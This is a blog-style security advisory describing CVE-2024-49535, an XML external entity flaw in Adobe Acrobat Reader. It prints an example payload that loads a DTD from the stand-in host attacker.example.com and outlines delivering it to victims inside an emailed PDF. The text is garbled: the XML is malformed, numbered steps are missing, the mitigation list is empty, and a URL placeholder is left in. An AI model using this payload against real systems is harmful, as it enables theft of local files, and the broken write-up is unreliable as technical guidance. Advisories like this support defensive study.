Adobe Acrobat Reader, prone to critical security issues, has once again landed in hot water due to a recently discovered vulnerability CVE-2024-49535. The affected Acrobat Reader versions include 24.005.20307, 24.001.30213, 24.001.30193, 20.005.30730, and 20.005.30710, as well as previous ones. This vulnerability puts millions of systems at risk, as it allows unauthorized read access outside the Acrobat sandbox. The vulnerability is called "Improper Restriction of XML External Entity Reference" (XXE) vulnerability and requires user interaction (victim processing a malicious XML document) for successful exploitation.

Exploit Details

This XXE vulnerability allows a malicious XML input with a reference to an external entity to be provided by an attacker. When the victim processes the malicious XML file, the attacker could potentially access sensitive data from the victim's device outside the Acrobat Reader's sandbox, leading to unauthorized data exposure.

An example of the XXE payload would look like this

<?xml version="1." encoding="UTF-8"?>
<!DOCTYPE foo SYSTEM "http://attacker.example.com/xxe.dtd">;
<foo>&read;</foo>

To exploit the vulnerability, an attacker could embed the malicious XML in a PDF document and send it to the victim. Once the victim opens the PDF file in the affected Acrobat Reader, the sensitive information from the victim's device could be leaked to the attacker's server.

Send the crafted PDF file to the victim via email or other means.

4. When the victim opens the PDF file in the affected Acrobat Reader, the sensitive information may be exposed to the attacker.

Mitigation

Adobe is yet to release an official patch for this vulnerability. However, users can take certain precautions:

Mitre CVE Database for CVE-2024-49535: [URL placeholder]

Please note that the information provided in this post is exclusively for educational purposes, and users should exercise caution when evaluating and responding to security risks. Adobe is actively working to patch the CVE-2024-49535 vulnerability and is expected to release updates in due course.

Timeline

Published on: 12/10/2024 20:15:18 UTC
Last modified on: 01/23/2025 18:36:07 UTC